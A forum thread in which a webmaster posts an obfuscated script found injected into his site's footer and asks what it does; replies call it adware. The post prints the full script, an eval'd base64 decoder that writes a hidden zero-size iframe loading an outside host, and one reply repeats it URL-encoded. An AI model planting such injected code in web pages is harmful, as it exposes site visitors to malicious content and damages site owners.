Some crazy script inserted into my footer file, can anyone tell what it's doing?

Collapse
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • Jakez
    Confirmed User
    • Jan 2004
    • 5656
    #1

    Some crazy script inserted into my footer file, can anyone tell what it's doing?

    Onload the page was automatically scrolling to the bottom, found this in a footer file:

    <script>eval('function globalwat(t){var k=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst uvwxyz0123456789+/=\';var o=\'\';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++) );d=k.indexOf(t.charAt(i++));f=k.indexOf(t.charAt( i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};globalwat(\' PGlmcmFtZSBzcmM9Imh0dHA6Ly9nbG9iYWx3YXQuY29tL2NvdW 50ZXIvaW4uY2dpP3NldmVuIiB3aWR0aD0iMCIgaGVpZ2h0PSIw IiBib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6MDsiPjwvaWZyYW 1lPg==\');');</script>

    How the fuck did this bs get there.. anyone know what it's doing besides setting the scroll location?
    [email protected] - jakezdumb - 573689400

    Killuminati
    Tags: None
    • datatank
      Confirmed User
      • Aug 2004
      • 5471
      #2
      Installing adware and getting your site banned from google

        Comment

        • Agent 488
          Registered User
          • Feb 2006
          • 22511
          #3
          http://www.google.ca/search?sourceid=chrome&ie=UTF-8&q=%3Cscript%3Eeval('function+globalwat(t){var+k% 3D\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst +uvwxyz0123456789%2B/%3D\';var+o%3D\'\';var+q,w,e;var+a,s,d,f;var+i%3D0 ;do{a+%3D+k.indexOf(t.charAt(i%2B%2B));s%3Dk.index Of(t.charAt(i%2B%2B)+);d%3Dk.indexOf(t.charAt(i%2B %2B));f%3Dk.indexOf(t.charAt(+i%2B%2B));q%3D(a+%3C %3C+2)+|+(s+%3E%3E+4);w%3D((s+%26+15)+%3C%3C+4)+|+ (d+%3E%3E+2);e%3D((d+%26+3)+%3C%3C+6)+|+f;o%3Do%2B String.fromCharCode(q);if(d!%3D64)+o%3Do%2BString. fromCharCode(w);+if(f!%3D64)+o%3Do%2BString.fromCh arCode(e);}+while(i%3Ct.length);document.write(o); };globalwat(\'+PGlmcmFtZSBzcmM9Imh0dHA6Ly9nbG9iYWx 3YXQuY29tL2NvdW+50ZXIvaW4uY2dpP3NldmVuIiB3aWR0aD0i MCIgaGVpZ2h0PSIw+IiBib3JkZXI9IjAiIHN0eWxlPSJib3JkZ XI6MDsiPjwvaWZyYW+1lPg%3D%3D\');');%3C/script%3E

            Comment

            • Jakez
              Confirmed User
              • Jan 2004
              • 5656
              #4
              Originally posted by datatank
              Installing adware and getting your site banned from google
              Wasn't banned from Google (yet) thank god, I don't know how long the script has been there, at least a few months.

              Apparently this has happened to a lot of people using Wordpress (I am not).
              [email protected] - jakezdumb - 573689400

              Killuminati

                Comment

                • Jakez
                  Confirmed User
                  • Jan 2004
                  • 5656
                  #5
                  Originally posted by Agent 488
                  http://www.google.ca/search?sourceid=chrome&ie=UTF-8&q=%3Cscript%3Eeval('function+globalwat(t){var+k% 3D\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst +uvwxyz0123456789%2B/%3D\';var+o%3D\'\';var+q,w,e;var+a,s,d,f;var+i%3D0 ;do{a+%3D+k.indexOf(t.charAt(i%2B%2B));s%3Dk.index Of(t.charAt(i%2B%2B)+);d%3Dk.indexOf(t.charAt(i%2B %2B));f%3Dk.indexOf(t.charAt(+i%2B%2B));q%3D(a+%3C %3C+2)+|+(s+%3E%3E+4);w%3D((s+%26+15)+%3C%3C+4)+|+ (d+%3E%3E+2);e%3D((d+%26+3)+%3C%3C+6)+|+f;o%3Do%2B String.fromCharCode(q);if(d!%3D64)+o%3Do%2BString. fromCharCode(w);+if(f!%3D64)+o%3Do%2BString.fromCh arCode(e);}+while(i%3Ct.length);document.write(o); };globalwat(\'+PGlmcmFtZSBzcmM9Imh0dHA6Ly9nbG9iYWx 3YXQuY29tL2NvdW+50ZXIvaW4uY2dpP3NldmVuIiB3aWR0aD0i MCIgaGVpZ2h0PSIw+IiBib3JkZXI9IjAiIHN0eWxlPSJib3JkZ XI6MDsiPjwvaWZyYW+1lPg%3D%3D\');');%3C/script%3E
                  Ummmmm? lol, none of the phrases or words in the script are in Google, but I did manage to find some people that this particular thing has happened to already, and they were using Wordpress although I'm not.
                  Last edited by Jakez; 04-11-2010, 08:41 PM.
                  [email protected] - jakezdumb - 573689400

                  Killuminati

                    Comment

                    Previous template Next
                    Working...